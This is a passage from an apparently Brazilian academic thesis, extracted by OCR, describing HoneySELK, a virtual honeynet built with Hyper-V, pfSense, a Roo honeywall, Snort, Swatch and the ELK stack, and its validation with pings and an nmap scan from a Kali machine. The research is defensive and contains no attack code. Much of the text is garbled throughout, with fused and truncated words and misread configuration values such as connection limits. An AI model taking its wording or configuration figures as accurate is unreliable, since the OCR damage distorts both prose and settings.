2015] mostram uma arquitetura para extrair e visarinformacdes de trafego geradas por
malwaree conexdes honeypotsverificando que diversamalwaresutilizam o método GET
via protocolo HTTP para obtencdo de poder sobrepooentes da maquina infectada e que
um servi¢co dos mais explorados aseypot® o SMB, na porta 445. Apesar desse trabalho
apresentar detalhes durante a extracdo dos dadoglise do trafego foi feita em apenas um
dos componentes tornando impossivel fazer os ecroglamentos entre duas fontes de dados
diferentes. Ja [Oliveira Jr et al. 2015] apresentamrecurso projetado especificamente para
pesquisa e preservagdo de evidéncias de ataque<fe#io forense, possibilitando varias
andlises detalhadas em diversos tipos de ataques.

Na continuidade de trabalhos anteriores, evolupaes 0 acompanhamento de ataques
conhecidos (com base em assinatura) e desconhgciimsbase em anomalia) em tempo
real, com seu georreferenciamento e mapeamentgatde grafos, bem como a adaptacéo
para captura dmalwarenovo e determinacdo de seu modus operandi, copesigmentacao
de novas possibilidades de visualizagao.
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3. DEFINICAO DO PROBLEMA E PROPOSTA DE SOLUCAO

Esta Secdo descreve os aspectos relacionados exovolegmento do ambientdoneySELK
uma honeynetvirtual de alta interatividade, cuja arquitetunpgosta tem como objetivo
controlar, capturar, analisar e visualizar ataquegos e desconhecidos no laboratério de

pesquisa do Departamento de Engenharia da Uniadeside Brasilia (LAB-ENE/UNB).

3.1. DEFINICAO DO PROBLEMA

Devido aos grandes avancos tecnologicos e ao mrestn exponencial da Internet em todo o
mundo, cada vez mais empresas e pessoas estaaelgesndos meios de comunicacdo
empregados. Entretanto, estes mesmos meios de icaigim sao explorados por invasores ha
tentativa de encontrar vulnerabilidades para efettaqjues contra a seguranca da informacao.
Outra questdo comum é a disseminacdo de prograrafisiosos (nalware$ através da
Internet. Por exemplo, osormsséo classes dmalware que se propagam autonomamente

para explorar vulnerabilidades de alvos [Skouda.e2003].

Desta forma, torna-se fundamental desenvolverdasrpara proteger os ativos de rede contra
ameacas cibernéticas. Verifica-se, entretanto, gtaede parte das ferramentas e técnicas
utilizadas para seguranca da informacdo com aidad# de combater ataques, tais como
firewall, sistemas de criptografia, ID8ash assinatura digitalantivirus dentre outros, néo
sao suficientes para assegurar a seguranca deeatemas. Além disso, essas ferramentas
ndo permitem visualizar os ataques em tempo reaiformar sobre fatos ja ocorridogost-
morten).

Na geréncia da seguranca das redes, sistemas&caph governamentais, considera-se que o
gestor deve aplicar toda medida a seu alcanceeniids de proteger a informacédo e os
sistemas, sendo entdo as medidas voltadas a cepn@ise de novos ataques um importante

pilar da gestéo da seguranca.

Assim sendo, este trabalho propde uma solucaofguece a capacidade de coletar, analisar e
visualizar uma grande quantidade de ataques cimyaéem tempo real. O ambiente
HoneySELKvisa contribuir com estatisticas logicas, viswl@ em tempo real de ataques
conhecidos (com base em assinatura) e desconhdécmusbase em anomalia), mapeamento
de ataques através de grafos e construcdo de waabalados real e atualizada para pesquisa
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e andlise. Além disso, oferece contribui¢do de ecinfrento e pesquisa com Orgéos Publicos e
Privados sobre seguranca e Defesa Cibernéticaa Passibilidade de utilizacdo do ambiente
€ sua aplicacdo na é&rea forensgsto que tem a possibilidade de capturanadus operandi

das operagdes de intruséo, sejam elas por ativittadalwareou ataques direcionados.

Tais possibilidades deloneySELKconstituem uma grande justificativa do presergbatho,

pois se considera a importancia de ter um ambieitiernético dentro de um Orgéo
Governamental para acompanhar a evolugéo dos d#vépos de ataques, a fim de impedir
intrusGes maliciosas nos sistemas, garantindoadesia, o funcionamento dos servi¢cos

essenciais a populacéo.

3.2. ARQUITETURA DO AMBIENTE HONEYSELK

Como requisito fundamental, o enderecortimeySELKn&o consta em nenhum mecanismo
de resolucdo de nomes publicos nem é divulgadontenkt. Assim, para alcancar esse
endereco o atacante tem de fazer varredura naénterque por si ja indica uma atividade nao
convencional. Encontrado tal endereco, os senpoolem ser descobertos pelo atacante por
mapeamento de portas. O trafego capturado no atabdesuspeito, pois resulta de atividade

maliciosa de mapeamento de servigos e contetdo

Em resposta a tal requisito, o desenvolvimento rdaitetura foi dividido em cinco fases
distintas [Project 2002], [Spitzner 2002], [Viec2005], [Oliveira Jr et al. 2015] e [Oliveira Jr
et al. 2016] detalhadas nos topicos seguintes. fenelresumo, a fase 1 volta-se a arquitetura
proposta e ao modelo de solucéo; a fase 2 estabeleontrole de dados; a fase 3 trata dos
assuntos para a captura de dados; a fase 4 tratdataatizacéo dos alertas de monitoramento
e a fase 5, aspectos da visualizacdo dos ataguaslriente. Assim, a solucéo é dividida em
camadas para melhor analisar e aprender as téctilizadas com os ataques direcionados a

esse ambiente.

A arquitetura fisicaHoneySELK emprega um hospedeirdog), ligado a um roteador
diretamente na Internet. Nesse hospedeiro existesatcao de virtualizacdo que consta com

nove convidadogy(iest$. A Figura 3.1 ilustra a estrutura do ambientkzatilo.

21



Intruso (teste) eth0 — interface virtual bridge (ndo tem IP)
eth? — interface virtual host-only (néo tem IP) :
eth2 — interface virtual bridge (172.30.10.2) " Linux DNS
gy } eth0: xxx.xx.XX.XX @ Linux WEB
I . o
@ | i Honeypot .
I Firewall : 4 -
Usudrio malicioso | ~ . eth0: 172.30.20.13 g .
! etho : :
_______ Lo, SNMNWOCEN. . Hane, .
interface fisica Hyper-V |~~~ =S N - — - : Ly NI 2025 :
b, . : : :
e oL F7230.10.7 | eth2: 172.30.10.2 :
- 1 1 . .
P ] I by
L 1 Controle de dados I : Honeypot XP SP3
o L [ | * eth0: 172.30.20.19
- ,’ - Andlise de dados
a ; :
eth0: 172.30.10.3 i : Linux FTP
f :
* Logstash: mnmhaﬁndosmmdebg} | . ot .
] : eth0: 172.30.20.36
: Rede geréncia .
| 172.30.10.0/24 : :
' © eth0: 172.30.20.21 :
+ Kibana: vi entos delog ]i:::::::::::?l ’ ]
' 3
B T e e e e e e e e e B
1
L 5 : P

eth0: 172.30.10.10
interface fisica Hyper-V

Firewall, Honeywall, BD Log (Elasticsearch,

quina para geréncia dos servigos:
Logstash, Kibana) e Hypervisor Hyper-V

eth0: 172.30.10.20

Figura 3.1: Arquitetura do ambiente HoneySELK.
3.2.1. Fase 1: Arquitetura Proposta

A arquitetura foi desenvolvida com ldypervisor Hyper-Y uma solucdo que possibilita

gerenciar infraestruturas virtuais [Carvalho 2012].
3.2.1.1. Estrutura Fisica

Toda a estrutura do projeto foi feita em apenasinito host(Dell PowerEdger610). Como
observacdo geral, recomenda-se a utilizacadatdware dedicado para que 0s sistemas
convidados executem corretamente, de maneira @ar@binar ambientes diferentes em um
mesmo contéiner. A Tabela 3.1 apresenta as cdsiittes dohost e plataforma de

virtualizacao utilizada.

Tabela 3.1: Caracteristicas dost

Processador IntelXeon X5560 2.8 GHz 16 nucleos com
tecnologia Intel VT, 32 GB de memodria RAM, 6 disaes 500
Hypervisor Hyper-V GB configurados com RAID 5 e 4 placas de rede 010

Plataformawindows Server 2012 R2 Data CentemHypervisor
Hyper-V
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O hostfoi configurado com RAID 5, para garantir desentjer disponibilidade dos dados.
Portanto, foram utilizados seis discos de 500 Giagaara realizar esta configuracdo. Isso

permitiu utilizar o proprio servidor constoragepara armazenar as maquinas virtuais.

O Hypervisor Hyper-Vfoi implementado para criar a estrutura ldégicaeerateamento do
HoneySELKA configuracéo e geréncia dos sistemas convidadétyper-Vé feita através de
uma maquina dedicada para esta finalidade. Todaseafaces de redes virtuais sao criadas no
Hyper-Ve divididas conforme suas fungdes panawall, gerénciahoneynee acesso externo
(Figura 3.2). As maquinas virtuais sao configurattaacordo com a Tabela 3.2.

33 Gerenciador do Hyper-V
53 SRV-0210-HONEYN Maquinas Virtuais

. Nome “ Estado Uso da CPU Meménia Atribuida  Tempo de Ativagdo
# iy Honeynet 2 Bams Bxecutando 0% 8192 MB 8.06:59:09
8 A Exiema 2 Brotas Executando D% 512 MB 3.08:14:18
----- = Cabula Executando 0% 512 MB 8.07:28:03
# 'y Gerencia 3 Corsario Executando 0% 2048 MB 8.07-00:40
. 3 Imbui Executando 0% 512 MB 8.07:25:36
# 'y Lk Freval_Honeywal 3 Inema Bxecutando 0% 3072 MB 9.09:38:15
S hapua Executando 0% 512 MB 8.07:28:44
4 Ondina Executando 0% 512 MB 8.07-:02:02
3 Pituba Executando 0% 4056 MB 8.07:.00:1

Figura 3.2: Geréncia ddyper-V.

Tabela 3.2: Maquinas virtuais e suas configuracoes.

Maquinas

Virtuais Configuragéo

Fi I Processador com 2 nucleos, 2 GB de RAM, 50 GB deeH® interfaces
Irewa virtuais de redegthO, ethl e eth2

(Corsario) VersaopfSense-2.3.2-RELEA®BAseado no S.GreeBSD

Processador com 2 nucleos, 4 GB de RAM, 200 GB DeeH3 interfaces
Honeywall virtuais de redeethO, ethl e eth2

(Pituba) VersdoRoo-1.4baseado no S.ACentOS releas® (final) com o0s servigos
snort, iptables swatch

Processador com 2 nucleos, 6 GB de RAM, 200 GB beeHima interface
ELK virtual de rededthQ

(Barra) S.O. Linux Debian Jessie 8@bm os servigokogstash-2.3.2-1, Elasticsearch-
2.3.3 e Kibana-4.5.1

Processador com 1 nucleo, 4 GB de RAM, 30 GB deddima interface
Intruso (teste) | virtual de rededthQ

(Inema) S.O.Kali Linux 2016.1com ferramentas para testes de penetracéo e dgrens
digital
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Maquinas

Virtuais Configuragéo
HonevooDNS Processador com 1 nucleo, 512 MB de RAM, 8 GB dedadima interface
yp virtual de rededthQ
(Ondina)

S.O.Linux Debian Jessie 8@bm os servigobind9 e OpenSSH-6.7-p1

Processador com 1 nucleo, 512 MB de RAM, 8 GB deadima interface
HoneypotNTP | virtual de rededthQ

(Itapua) S.O. Linux Debian Jessie 8.£om o0s servicosntpdate-4.2.6-p5+dfsg
7+deb8ul e OpenSSH-6.7-p1

Processador com 1 nucleo, 512 MB de RAM, 8 GB dedadima interface
virtual de rededthQ

S.0O.Linux Debian Jessie 8@bm os servicoproftpd-1.3.5 e OpenSSH-6.7-p1

Processador com 1 nucleo, 512 MB de RAM, 8 GB deediima interface
HoneypotWEB | virtual de rededthQ

(Imbui) S.O.Linux Debian Jessie 8@bom os servigoapache2.4.10, php5-6.20, mysql-
server-5.5.49 e OpenSSH-6.7-pl

Processador com 1 nucleo, 512 MB de RAM, 8 GB deedima interface
HoneypotXP virtual de rededthQ

(Cabula) S.0. Windows XP SP&om instalacdo padrdo. N&o foram instalados outros
Servigos

HoneypotFTP
(Brotas)

3.2.1.2. Estrutura Logica

O ambiente foi projetado para ter trés redes dasti(Figura 3.3): a Internet, considerada uma
rede ndo confiavel por ser o lugar de onde os ataqéo originados; a retleneynetcom
endereco reservado (172.30.20.0/24), integradauporconjunto denoneypotspara serem
comprometidos; e a rede de geréncia (172.30.10,0é24n o objetivo de ser o ponto de

geréncia ddwoneywall, firewalle da Pilha ELK.

Interfaces o0
s WAN 4  10Gbase T <ful-duplex> :

s ADMIN M 10GbaseT<fullduplex> 172.30.10.1

2 HONEYNET A 10GbaseT <full-duplex> 172.30.20.1

Figura 3.3: Redes distintas configuradas no amdient

O honeywall[The Honeynet Project 2008] € configurado com irésrfaces virtuais. A
primeira interface virtualethO comunica-se com direwall (IP 172.30.20.1)a segunda

interface virtuakethlé utilizada para se comunicar com a redeeynete a terceira interface
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eth2(IP 172.30.10.2) é utilizada para geréncia e caletdados dtioneywall As interfaces
virtuais ethO e ethl estdo configuradas confwidge portanto ndo possuem endereco IP. O
funcionamento deste dispositivo na camada 2 apt@seias grandes vantagens: a primeira é
que ndo hdopsde roteamento nem decrementoTdme To Live(TTL) no cabecalho IP; a
segunda é a dificuldade por parte dos atacantedetgotar 0 ambiente, ja que ndo responde

por requisicdes TCP/IP em tais interfaces.

O firewall é configurado com regras de direcionamento daagppara cadaoneypotFigura
3.4). Além disso, todo tbg de entrada e saida deste dispositivo é enviadb gaervidor
ELK (IP:PORTA - 172.30.10.3:5140). Este servidorresponsavel pela centralizacao,

indexacdo, busca e visualizacao dos ataques eno texalno ambienteloneySELK

Interface Protocol  Source Address Source Ports Dest. Address Dest. Ports NAT IP NAT Ports
] ¥ X3 WAN TCP & & WAN address 80 (HTTP) Honeypot WEB 80 (HTTP)
0 v 33 WAN TCP * * WAN address 443 (HTTPS) Honeypot WEB 443 (HTTPS)
O « X waN TCP & & WAN address  MySQL Honeypot WEB  MySQL
0 + 33 WAN TCP * * WAN address 22 (SSH) Honeypot FTP 22 (SSH)
0 + X3 WAN TCP & & WAN address 21 (FTP) Honeypot FTP 21 (FTP)
0+ 3 WAN TCP/UDP * * WAN address 53 (DNS) Honeypot DNS 53 (DNS)
0 « X waN UDP & & WAN address 123 (NTP) Honeypot NTP 123 (NTP)
0 + 33 WAN ICMP * * WAN address  # HoneypotNTP  *
0 + X3 WAN TCP o o WAN address 23 (Telnet) Honeypot XP 23 (Telnet)
0 v 3 WAN TCP * * WAN address MSRPC Honeypot XP MSRPC
0 ¢ X3 waN TCP * * WAN address 139 (NetBIOSSSN)  HoneypotXP 139 (NetBIOS-SSN)
O « X waN TCP * * WAN address 445 (MS DS) Honeypot XP 445 (MS DS)

Figura 3.4: Direcionamento de portasfmewall.

Todos oshoneypotssao implementados na redeneynet configurada comdost-only(rede
virtual privada) para fazer a comunicacdo entréhaseypotse a interface virtualethl do
honeywall No link da rede externa, existe ainda uma maquina victw#igurada para fins de

teste da configuracao do ambiente.

A rede de geréncia é considerada como confidvel wiliégada para coletar e analisar
remotamente os dados. Esta rede ainda administrgéatdas portas 22 (SSH) e 443 (HTTPS)
o firewall, o honeywalle o0 ELK A geréncia cabe a uimostdedicado e exclusivo para esta

finalidade.
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Todos oshoneypotssdo configurados com a instalacdo padradidax Debian Jessie 8.4
WindowsXP SP3. O uso do XP se justifica por ser um sistamda em uso em diversos
ambientes, sendo alvo constante ndalware Foram feitas instalagbes e configuracdes de
servigos tais como DNS, FTP, NTP, MySQL, HTTP, HETRMMSRPC, NETBIOS-SSN,
Microsoft-DS, TELNET e SSH (todos com suas portadro). Ndo se aplicou nenhum

processo dbardeningpara manter os sistemas mais seguros.

3.2.2. Fase 2: Controle de Dados

Nesta fase, sdo implementadas as camadas de ssgpaa diminuir o impacto de falhas
durante o controle do trafego de dados. Este demmambientéloneySELK seja para dados
recebidos ou enviados, tem como finalidade filtqaais dados podem ir para qual destino.
Este controle cabe dwewall (elemento que tem a finalidade de filtrar pacetele separar as
trés redes: internet, gerénciaaneynete peloiptablesconfigurado ndoneywall

WAN ADMIN HONEYNET

Rules (Drag to Change Order)

States Protocol Source Port Destination Port Gateway Queue Schedule Description
v 0/344KiB  IPv4 TCP * * Honeypot 80 (HTTP) * none NAT
= WEB
0o+ 0/227KiB  IPv4 TCP * * Honeypot A43 (HTTPS) * none NAT
= WEB
o v 0/30 KiB IPv4 TCP 0 & Honeypot MySQL o none NAT
= WEB
o v 4/64.92 IPv4 TCP * * Honeypot 22 (S5H) * none NAT
= wB FTP
[ 0/22 KiB IPv4 TCP 0 & Honeypot 21 (FTP) o none NAT
= FP
o v 0/5KiB IPv4 * * Honeypot 53 (DNS) * none NAT
= TCP/UDP DNS
0o+ 0/9 KiB IPv4 UDP 0 & Honeypot 123 (NTF) * none NAT
= NTP
o v 0/0B IPv4 ICMP * * Honeypot * * none NAT
= NTP
o v 1/34.99 IPv4 TCP * * Honeypot XP 23 (Telnet) * none NAT
= wB
o v 0/552KiB  IPv4 TCP * * Honeypot XP MSRPC * none NAT
o v 0/170KiB  IPv4 TCP 0 & Honeypot XP 139 (NetBIOS- o none NAT
= SSN)
0o+ 0/3.67 IPv4 TCP * * Honeypot XP 445 (MS DS) * none NAT
E s
0% 0/31.62 IPvd+6* * * * * * none Bloqueia tudo que n3o se enquadrar nas
MiB regras anter

Figura 3.5: Regras configuradas na interface WANréwvall.
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Foram definidas quatro regras basicas para contwdlaxo do trafego: a primeira - qualquer
individuo podera realizar uma conexao da Interaed phoneynetpois isso permite que um
atacante explore dsoneypotgFigura 3.5); a segunda -fioewall controlara conexdes feitas
da rede honeynetcom a Internet para evitar que 0s atacantes usgnmhooeypots
comprometidos para acometer outros sistemas. Egta € replicada também pablesdo
honeywal] para que haja uma redundancia de controle de;flaxterceira - apenas os
honeypotdDNS e NTP poderé&o realizar conexdes ilimitadasa f@a do ambiente, uma vez
que eles serao utilizados pelos outhosieypotpara resolucdo de nomes e sincronismo de
tempo; quarta - a redeoneynete a rede geréncia ndo poderdo se comunicar (Bi@uéae
3.7). Isso evita que osoneypotscomprometidos modifiguem ou destruam os dados
coletados.

WAN ADMIN HONEYNET

Rules (Drag to Change Order)

States Protocol Source Port Destination Port Gateway Queue Schedule Description
v 2/7058MiB * Q *  ADMIN Address 443 * a Anti-Lockout Rule
22
] X 0/480B IPv4*  ADMINnet *  HONEYNETnet *  * none Blogueia acesso da rede Admin para a rede Honeynet
O & 2/4075MB IPv4*  ADMINnet *  * oo none Libera acesso da rede admin para a Internet
0 X o0/6KB IPyd*  * G a G d none Blogueia tudo que ndo se enquadrar nas regras acima

Figura 3.6: Regras configuradas na interface ADMNirewall.

WAN ADMIN HONEYNET
I

Rules (Drag to Change Order)

States Protocol Source Port Destination Port Gateway Queue Schedule Description
x 0/0B IPva*  HONEYNET * ADMIN net  * * none Blogueia acesso da rede Honeynet para a rede
net Admin
v 14/41.20 IPvd*  HONEYMET * * * * none Libera acesso da rede Honeynet para a Internet
E B net
x 0/4 KiB IPva* % o 0 & i none Bloqueia tudo que n&o se enquadrar nas regras

acima

Figura 3.7: Regras configuradas na interface HONEYMofirewall.

Além disso, umscript rc.firewall (implementado ndptables do honeywallé utilizado para
prevenir ataques de dentro da redaeynepara outros sistemas. O principal objetivo é hmit
0 numero de conexdes (TCP, UDP e ICMP) que poderfesas para fora da redmneynet

em uma escala de tempo configurada conforme asidads da analise. lbneywalloferece



cinco escalas de limites de conexdes: segundogjtesinhora, dia, semana, més e ano. A

Figura 3.8 apresenta os valores configurados pamaboenteHoneySELK

# Define escalas para limites de conexdes de saida
# [Argumento valido: second, minute, hour, day, week, month, year]
HwSCALE=hour

# Numero de conexdes TCP por (HWSCALE)
# [Argumento valido: inteiro]
HWTCPRATE=20

# Numero de conexdes UDP por (HwWSCALE)
# [Argumento valido: inteiro]
HWUDPRATE=280

# Numero de conexdes ICMP por (HwWSCALE)
# [Argumento valido: inteiro]
HWICMPRATE=3@

# Outras conexdes IP por (HwSCALE)
# [Argumento valido: inteiro]
HWOTHERRATE=2@

Figura 3.8: Configuragéo dos limites de conexdesaida.

3.2.3. Fase 3: Captura de Dados

A captura de dados tem como finalidade coletarstedaatividades que ocorrem dentro da rede
honeynetQuanto maior o nimero de camadas (métodos deragptnaior a possibilidade de
novos ataques serem detectadoho@eywallregistra todas as conexdes de entrada e saida em
Ivar/llog/messagegsara indicar o inicio de um ataque.

Na arquitetura, o software detector de intrusdoe@8CBT 2016] estd nohoneywalle é
configurado com regras atualizadas. Sua finalidad=apturar todo o trafego da interface
virtual ethl do honeywal] ou seja, todo o fluxo de entrada e saida da medeynet Além
disso, o snort também foi configurado para converter quaisqudorimacoes ASCII
encontradas npayloaddo pacote para o arquiwmort.log Este procedimento é fundamental
para analisar rapidamente as secdes de texto singue como as se¢bes de FTP, TELNET ou

qualquer outra em texto claro

3.2.4. Fase 4: Alertas de Monitoramento

Esta fase tem como proposito automatizar o procefsoalertas para notificar os

administradores do ambiente atravésd®ilssobre os possiveis ataques bem sucedidos nos
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honeypots Este processo é fundamental para Orgdos Goventaisi@ue ndo podem ter

equipes trabalhando 24/7.

Para esta finalidade utilizou-se a ferrame8taatch (Figura 3.9) que foi configurada no
honeywallpara enviar os seguintes tipos de alertasepwait relatério diario com todos os
eventos de rede do ambieiteneySELKe alertas informando queneypotcomprometidos

estdo tentando realizar conexdes de saida pams @igtemas.

# Habilita o Swatch para enviar alertas através de e-mails
# [Argumento valido: yes | no]
HWALERT=yes

# Endereco de e-mail para enviar alertas
# [Argumento valido: gualquer endere¢o de e-mail]
HWALERT EMATL=| ]

Figura 3.9: Monitoramento de atividades no ambiétteeySELK

3.2.5. Fase 5: Visualizagéo dos Ataques

A visualizacdo dos ataques no ambiddtmeySELKiem como objetivo principal facilitar a
interpretacdo de atagques para que se seja posgiNedr contramedidas eficientes. Além
disso, o0 monitoramento em tempo real permite obsezmderecos IP de origem e destino,
protocolo utilizado, porta, georreferenciamentdazer mapeamento dos ataques através de
grafos.

Este processo é implementado no servidor ELK atrale® quatro ferramentakogstash
(centralizacédo dos dadog)lasticsearch(indexacao e busca dos dad#Spana (visualizagao
dos dados) &raph (relacionamento entre entidades) [Elastic 2018giy, 0 ELK tem por
finalidade realizar o armazenamento distribuido eddrutura completa dos dados do
monitoramento em tempo real dos ataques, com diglgeorreferenciamentos, estatisticas e
grafos, indicando relacionamentos diversos, qudiaoxna identificacdo enodus operandi

de atacantes.

O Logstashfoi configurado com trés sec¢oes distiniaput (plugin TCP e UDP) para receber
oslogs do firewall via syslogatravés da porta 51460iter para fazer as transformacdes dos
dados plugin GroR; e outputpara enviar okgs do Logstashpara oElasticsearchO plugin

Grok utiliza expressoes regulares para trataogs e fazer a transformacéo destes dados em
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uma nova estrutura. A Figura 3.10 apresenta umcpedia codigo com as configuracdes das
secoes de entrada, filtro e saida.

input {
tep |
type => "syslog"
port =» 5140
}

input {
udp {
type => "syslog"
port => 5140

}

filter {
if [type] == "syslog" {
if [host] =~ /172\.30\.10\.1/ {
mutate { add tag => ["PFSense", "Ready"] }

1
}
1
filter {
if "PFSense" in [tags] {
grok {
add tag => [ "firewall" ]
match => [ "message", "<(?<evtid>.*)>(?<datetime>(?:Jan(?:uary)?|Feb(?:ruary)
?[Mar(?:ch)?|Apr(?:11) ?[May|Jun(?:e) ? |Jul(?:y) ?|Aug(?:ust) ? | Sep (?:tember) ? |Oct (?:ober)
? [Nov (?:ember) ? |Dec (?:ember) ?) \s+(?: (2:0[1-91) [ (?:[12]1[0-9]) | (2:3[01]) | [1-9])
(?:2[0123] | [01]1200-91) = (2:[0-5]1[0-9]):(2:[0-51[0-9))) (?<prog>.*?): (?<msg>.*)" ]
1
1
geoip {
add tag => [ "GeoIP" ]
source =» "src ip"
database => "/etc/logstash/GeoLiteCity.dat"
1
1
output {

elasticsearch |

hosts =» ["localhost:9200"]

index => "honeyselk%{+YYY.MM.dd}"
1
stdout { codec => rubydebug }

Figura 3.10: Configuracéo das secoegaet, filter e output
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O Elasticsearchfoi implementado para fazer a indexacdo e busca dbmlos textuais
recebidos dd.ogstash O Kibana e Graph foram configurados como interface para realizar a
visualizacdo dos ataques e consultas analiticas;aslas. Para fazer o georreferenciamento
dos ataques utilizou-se a base de d&dasl iteCity[MAXMIND 2016].

3.3. VALIDACAO DO AMBIENTE

Antes de se colocar o ambiente na Internet, foraalizados alguns procedimentos de
validacdo da solugdo. Vérios testes foram realgadom o intuito de verificar se o
HoneySELKestava realmente se comportando conforme espemadaeja, restringindo
acessos nao desejados em caso de comprometimsnte@rtava ataques ao ambiente. Desta
forma, foi criada uma maquina virtual com o sisteparacionaKali Linux [Kali Linux 2016]

(IP 172.30.20.100) na rede considerada externanceate para simular alguns ataques.

3.3.1. Validagéo 1: Controle de Dados

O primeiro teste foi realizado quanto ao requisdntrole de dados do ambiente para verificar
se ohoneywallestava coletando todos os dados de entrada e Baidianto, foi feito unping

da maquina virtuaKali Linux (172.30.20.100) para doneypotDNS (172.30.20.13). Com
base na configuracdo feita no conjunto de regrasndd, foi possivel capturar os pacotes
ICMP (Figura 3.11).

pril 27th 15:56:17 00:00:28
172.30.20.100 0 172.30.20.13
ICMP 8(a) 1 kB 29 pkts --= 0 (D)

os unkn <--1 kB 28 pkts

Figura 3.11: Captura do pacote ICMP.

Ainda neste teste, gnort mostrou algumas assinaturas relacionadas ao pi&idfe que séo
de extrema importancia para determinar o sistensaomnal utilizado pelo intruso para

realizar o ataque (Figura 3.12):

e TTL: observa-se que o campo TTL (IP utilizado pelouso) esta configurado como
64. Com base nestas informacdes foi possivel dequei este pacote foi enviado por

um computador executandd-mux;

31



« Tamanho do datagrama: requisicdes de eco ICMP aerailaves do utilitariping

terdo 84bytesde comprimento em sistemas operacionais UNIX eel&ntes ao

UNIX;

» Contetdo da carga util: dados de uma requisicdo|€dP enviados através do

utilitario ping em sistemas operacionais UNIX, ou semelhante adXUsérao

compostos exclusivamente por nimeros e simbolos.

R e R R R e o E R

04/27-15:56:18.831361 26:0:78:DC:4E:F8 -» Z2E:C:53:6B:2B:85
172.30.20.100 -> 172.30.20.13 ICMP TTL:64 TOS5:0x0 ID:29
Tyvpe:8 Code:0 ID:&594 Seg:2 ECHO

+=t=4=4=4=+=+=+

type:0x800 len:0x62

641 IpLen:20 DgmLen:&4 DF

25 5C 3E 55 00 OO0 00 OO0 1B 58 OB 00 00 00 00 00 3\>U.....

10 11 12 13 14 15 16 17 18 19 14 1B 1C 1D 1E 1F ..........

20 21 22 23 24 25 28 27 28 29 24 ZB Z2C 2D ZE ZF TMEEELT () *+, -
30 31 32 33 34 35 36 37 01234567

04/27-15:56:18.831979 Z2E:C:53:6B:2B:85 ->» 26:0:78:DC:4E:F&
172.30.20.13 -» 172.30.20.100 ICMP TTL:64 TOS5:0x0 ID:55708
Type:0 Code:0 ID:6594 Seq:2 ECHCO REPLY

cype:0X800 len:0xe2
IpLen:20 DgmLen:g4

25 5C 3E 55 00 00 00 OO0 1B 58 OB 00 00 00 00 00 %\>U.....

10 11 12 13 14 15 16 17 18 19 1& 1B 1C 1D 1E 1F ......u...

20 21 22 23 24 25 26 27 28 29 24 2B Z2C 2D Z2E ZF TmEZEL () *+, -
30 31 32 33 34 35 36 37 01234567

e et et e

A=l =d=d=d=dl=dl=4

Figura 3.12: Captura do pacote ICMP em formatorimna

3.3.2. Validagéo 2: Limite de Conexdes de Saida

O segundo teste teve como propdsito verificar sereywallestava coletando e limitando as

conexdes de saida para o protocolo ICMP. Parazéelalj foi executado unping do
HoneypotXP (IP 172.30.20.36) para a maquina virtual deetesux Kali (IP 172.30.20.100)
Este procedimento simula queHbneypotXP foi comprometido e que um atacante esta

tentando realizar conexdes para fora do ambiertefo@ne esperado quando o limite de

conexdes de saida ICMPHWICMPRATE=30 configurado nohoneywall foi atingido, o

firewall executou o blogueio (DROP ICMP) das conexfes tkag#&igura 3.13). Todas as

conexdes serao registradas pptablesnohoneywallem/var/log/iptables
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May 11 09:26:59 pituba kernel: OUTBOUND ICMP: IN=hr( QUT=br( PHYSIN=ethl PHYSQUT=eth( SRC=172.30.20.36 DST=172.30.20.100 L
EN=60 T0S=0x00 PREC=0x00 TTL=128 ID=266 PROTO=ICMP TYPE=8 CODE=0 ID=512 SEQ=7424

May 11 09:27:00 pituba kernel: OUTBOUND ICMP: IN=hr( QUT=br( PHYSIN=ethl PHYSQUT=eth( SRC=172.30.20.36 DST=172.30.20.100 L
EN=60 T0S=0x00 PREC=0xz00 TTL=128 ID=268 PROTO=ICMP TYPE=8 CODE=0 ID=512 SEQ=7660

May 11 09:27:01 pituba kernel: OUTBOUND ICMP: IN=hr( QUT=br( PHYSIN=ethl PHYSQUT=eth( SRC=172.30.20.36 DST=172.30.20.100 L
EN=60 T0S=0x00 PREC=0x00 TTL=128 ID=270 PROTO=ICMP TYPE=8 CODE=0 ID=512 SEQ=7936

May 11 09:27:02 pituba kernel: OUTBOUND ICMP: IN=hr( QUT=br( PHYSIN=ethl PHYSQUT=eth( SRC=172.30.20.36 DST=172.30.20.100 L
EN=60 T0S=0x00 PREC=0x00 TTL=128 ID=272 PROTO=ICMP TYPE=8 CODE=0 ID=512 SEQ=8192

May 11 09:27:03 pituba kernel: OUTBOUND ICMP: IN=br( OUT=br(0 PHYSIN=ethl PHYSOUT=eth( SRC=172.30.20.36 DST=172.30.20.100 L
EN=60 T05=0x00 PREC=(x00 TTL=128 ID—%T@ PROTOcICMP TYPE=8 CODE=0 ID=312 SEQ=0448

May 11 09:27:04 pituba kernel: Drop lcmp > 30 attemptsIN =pr( OUT=pr( PHYSIN=ethl PHYSOUT=ethO SRC=172.30.20.36 DST=172.30.
20.100 LEN=60 T0S=0200 PREC=0x00 TTI=$2& ID=776 PROTO=ICMP TYPE=8 CODE=0 ID=512 SEQ=8704

[rootlpituba logl#

Figura 3.13: Limite de conexdes de saida do préad@GMP.

3.3.3. Validagao 3: Captura de Dados

O terceiro teste (referente ao requisito de captardados) teve como objetivo verificar se a
base de assinaturas daort no honeywallestava atualizada e configurada para detectar
atagues. Primeiro foi feito umportscancom onmapda maquina atacante (172.30.20.100)
para ohoneypotWEB (172.30.20.25) com a finalidade de sondar #iwar quais eram 0s
servigos gque estavam sendo executaddsoneypot.

April 27th 15:25:44 00:00:00 Z-1-SHMP requegt tcp
172.30.20.100 0 172.30.20.25

TCP 50216 (50216) 0 kB 1 pkts —-> 161 (snmp)

2 LINKNOWN <--0 kB 1 pkts -

April 27th 15:26:05 00:00:00 «-1-RPC portmap listing TCP 111
172.30.20.100 0 172.30.20.25

TCP 40577 (40577) 0 kB 5 pkts --> 111 (sunrpc)

27 LINKNOWN <--0 kB 4 phkts ---

April 27th 15:26:05 00:00:00 <-1-WEB-MISC robots.txt access
172.30.20.100 0 172.30.20.25

Tce 53225 (53225) 0 kB S pkts —-> 80 (http)

27 UNKNOWN «--0 kB 4 pkts ---

Figura 3.14: Captura do ataqgoertscanfeito pelonmapnoHoneypotWEB.

Conforme a Figura 3.14, snort conseguiu detectar trés ataques (em vermeffa}scan
executado pelamapcomo uma tentativa de obter informacbedidoeypotWEB através do
protocoloSNMP direcionado para a pori61/TCP. O ataque WEB-MISfbbots.txt Access
[SNORT 2016] detectado pelsnort informa que houve uma tentativa de coleta de

informacdes a uma aplicac@&ebpotencialmente vulneravel.

Este mesmo ataque pode ser visto ainda de uma forae detalhada pelo administrador
através dgpayload do pacote em dois formatos diferentes. O primfrmato € dado em
